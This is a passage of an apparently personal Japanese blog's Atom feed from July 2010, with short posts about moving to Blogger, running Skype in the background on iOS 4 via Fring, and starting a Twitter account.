&lt;p&gt;それにGmailでも気に入るユーザーIDが取得できたので。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1632073533153228261?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1632073533153228261/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1632073533153228261&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1632073533153228261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1632073533153228261'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/blogger.html' title='Bloggerに移動しました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2280210756143793671</id><published>2010-07-10T21:44:00.000+09:00</published><updated>2010-10-06T00:56:31.516+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='未分類'/><title type='text'>iPhone（iOS4）のマルチタスク機能でSkypeをバックグラウンドに</title><content type='html'>&lt;div id="msgcns!28B145D1A9833FCA!522" class="bvMsg"&gt;&lt;p&gt;今のところ公式のSkypeクライアントではまだマルチタスクに非対応のようですが、Fringがすでにマルチタスクに対応しているようです。&lt;/p&gt; &lt;p&gt;バックグラウンドに常駐させることも可能。&lt;/p&gt; &lt;p&gt;メッセージを受信すると待ち受け画面に通知が来るようです。&lt;/p&gt; &lt;p&gt;まだ会議チャットはできないようですが。&lt;/p&gt; &lt;p&gt; いち早く公式クライアントが対応してくれるといいですね。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Skypeのマルチタスク機能って、バックグラウンドAPIを使うことで実装できるようですね。&lt;/p&gt; &lt;p&gt;要するにWinMoやAndroidのマルチタスクのようにアプリケーションを実行状態と同じようにしておきながらも利用しない、というのではなく必要なものだけをバックグラウンドで動かしておくというようにすることで無駄を省いたわけですね。&lt;/p&gt; &lt;p&gt;まぁさすがに公式ページに書いてあるように「利用中のパフォーマンスの低下が起きない」というのは極端ですが。&lt;/p&gt; &lt;p&gt;もしそうならバックグラウンドの動作は一旦停止状態にするんでしょうかね。&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2280210756143793671?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2280210756143793671/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2280210756143793671&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2280210756143793671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2280210756143793671'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/iphoneios4skype.html' title='iPhone（iOS4）のマルチタスク機能でSkypeをバックグラウンドに'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8439713015459541958</id><published>2010-07-08T23:23:00.000+09:00</published><updated>2010-10-06T00:56:31.496+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='未分類'/><title type='text'>Twitterはじめました。</title><content type='html'>&lt;div id="msgcns!28B145D1A9833FCA!521" class="bvMsg"&gt; &lt;p&gt;Twitterはじめました。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;プロフィールに追加しておきます。&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8439713015459541958?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8439713015459541958/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8439713015459541958&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8439713015459541958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8439713015459541958'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/twitter_08.html' title='Twitterはじめました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6123050318252119297</id><published>2010-07-08T07:58:00.000+09:00</published><updated>2010-10-06T00:56:31.448+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='未分類'/><title type='text'>Twitterはじめようかしら。</title><content type='html'>&lt;div id="msgcns!28B145D1A9833FCA!520" class="bvMsg"&gt;&lt;p&gt;でも今更な気が。&lt;/p&gt; &lt;p&gt;うーん。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;ああ、FRINGEおもしろすぎる。&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6123050318252119297?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6123050318252119297/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6123050318252119297&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6123050318252119297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6123050318252119297'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/twitter.html' title='Twitterはじめようかしら。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>
